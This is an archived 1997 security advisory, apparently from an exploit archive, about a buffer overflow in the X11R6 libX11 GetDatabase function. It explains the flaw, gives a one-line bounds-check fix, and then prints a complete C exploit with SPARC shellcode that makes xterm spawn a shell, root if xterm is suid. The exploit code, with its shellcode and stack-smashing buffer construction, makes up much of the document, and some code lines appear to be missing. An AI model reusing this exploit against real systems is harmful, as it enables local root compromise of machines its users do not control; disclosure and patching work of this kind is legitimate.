X11R6 library GetDatabase vulnerability

Description:There is a security hole in the GetDatabase function of the X11 libraries, which appears to be present in every distribution of X11. The attached exploit is for Solaris xterm, not that you will only get a shell with your own uid if xterm is not suid
Author:David Hedley <hedley@CS.BRIS.AC.UK>
Compromise: root (local)
Vulnerable Systems:many systems are vulnerable, including Linux and *BSD. This particular exploit is for Soaris 2.5.1 xterm
Date:28 May 1997

Date: Wed, 28 May 1997 16:04:52 +0100
From: David Hedley <hedley@CS.BRIS.AC.UK>
Subject: X11R6 resource manager buffer overflow....

OK, I've grabbed the latest X11R6 distribution (X11R6.3) and applied
public fix 01, and there is still a buffer overflow problem in libX11
which makes pretty much any X program which uses the X resource manager
vulnerable to attack. Such programs include xlock, xterm and others.
If these programs are installed suid root, local users can obtain root

I believe this buffer overflow to be present in every distribution of X
to date.

Specifically in the function GetDatabase in xc/lib/X11/Xrm.c on line
1089 we have:

    char buffer[BUFSIZ], *value_str;

Further down (lines 1177 - 1186) we have the following interesting

         * Third: loop through the LHS of the resource specification
         * storing characters and converting this to a Quark.
         * If the number of quarks is greater than LIST_SIZE - 1.  This
         * function will trash your memory.
         * If the length of any quark is larger than BUFSIZ this function
         * will also trash memory.

Interesting that the possibility for trashing memory was noticed but not
catered for!

The bit of code that overwrites the buffer is between lines 1190 and 1204:

        sig = 0;
        ptr = buffer;
        *t_bindings = XrmBindTightly;
        for(;;) {
            if (!is_binding(bits)) {
                while (!is_EOQ(bits)) {
                    *ptr++ = c;
                    sig = (sig << 1) + c; /* Compute the signature. */
                    bits = next_char(c, str);

                *t_quarks++ = _XrmInternalStringToQuark(buffer, ptr - buffer,
                                                        sig, False);

Exploiting this buffer overflow usually involves invoking the target
program with the '-xrm' parameter, followed by the buffer overflow code.
There is an additional constraint on the code passed in that it cannot
contain newline characters (hence the stock sparc shell code in the
exploit below has been altered slightly).

A simple fix for this is to change

                while (!is_EOQ(bits)) {


                while (!is_EOQ(bits) && (ptr - buffer < BUFSIZ)) {

For your reference, I include an exploit which gets xterm to execute a
shell. If xterm were installed suid root, this program would give root
access. The exploit is for X11R6.3 xterm built on solaris 5.5.1. You
will have to alter the pathname for xterm in the program to point to
where you have installed it.

The exploit must be compiled with gcc and was tested on an UltraSparc
running Solaris 5.5.1. My X11R6.3 libraries were built straight from the
distribution after applying public fix-01 using the standard C compiler.

------------------ cut here -----------------------------

 * X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define EXTRA2 1300
#define BUF_LENGTH 400
#define EXTRA 500
   /* Need an addr such that contents of addr+0xe98 = 0 */
#define SAFE_ADDR ((unsigned)0xefff2008)
#define STACK_OFFSET 0x4800
#define SPARC_NOP 0xa61cc013

u_long sparc_shellcode[] =
    0x2d0bd89a, /* sethi  %hi(0x2f626800), %l6  */
    0xac15a16e, /* or  %l6, 0x16e, %l6          */
    0x2f0bdadc, /* sethi  %hi(0x2f6b7000), %l7  */
    0xae15e368, /* or  %l7, 0x368, %l7          */
    0x900b800e, /* and  %sp, %sp, %o0           */
    0x9203a00c, /* add  %sp, 0xc, %o1           */
    0x941ac00b, /* xor  %o3, %o3, %o2           */
    0x9c03a014, /* add  %sp, 0x14, %sp          */
    0xec3bbfec, /* std  %l6, [ %sp + -20 ]      */
    0xc023bff4, /* clr  [ %sp + -12 ]           */
    0xdc23bff8, /* st  %sp, [ %sp + -8 ]        */
    0xc023bffc, /* clr  [ %sp + -4 ]            */
    0x8210203b, /* mov  0x3b, %g1               */
    0x91d02008, /* ta  8                        */
    0xffffffff, /* illegal                      */

u_long get_sp(void)
    asm("mov %sp,%i0 \n");

char buf[BUF_LENGTH + EXTRA + EXTRA2 + 8];
char longvar[0x4000] = "BLAH=";

void main(int argc, char *argv[])
    char *env[2];
    unsigned long targ_addr;
    u_long *long_p;
    int i, code_length = sizeof(sparc_shellcode),dso=0;

    if(argc > 1) dso=atoi(argv[1]);

    long_p =(u_long *) buf;

    for (i = 0; i < EXTRA2 / sizeof(u_long); i++)
        *long_p++ = (SAFE_ADDR >> 8) | (SAFE_ADDR << 24);

    targ_addr = get_sp() - STACK_OFFSET - dso;
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = SPARC_NOP;

    for (i = 0; i < code_length / sizeof(u_long); i++)
        *long_p++ = sparc_shellcode[i];

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = targ_addr;

    printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",

    /* This is just to shove the stack down a bit */
    memset(&longvar[5], 'a', sizeof longvar-6);
    longvar[sizeof longvar -1] = '\0';
    env[0] = longvar;
    env[1] = NULL;

    execle("./xterm", "xterm", "-xrm", buf,(char *) 0, env);
    perror("execl failed");

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: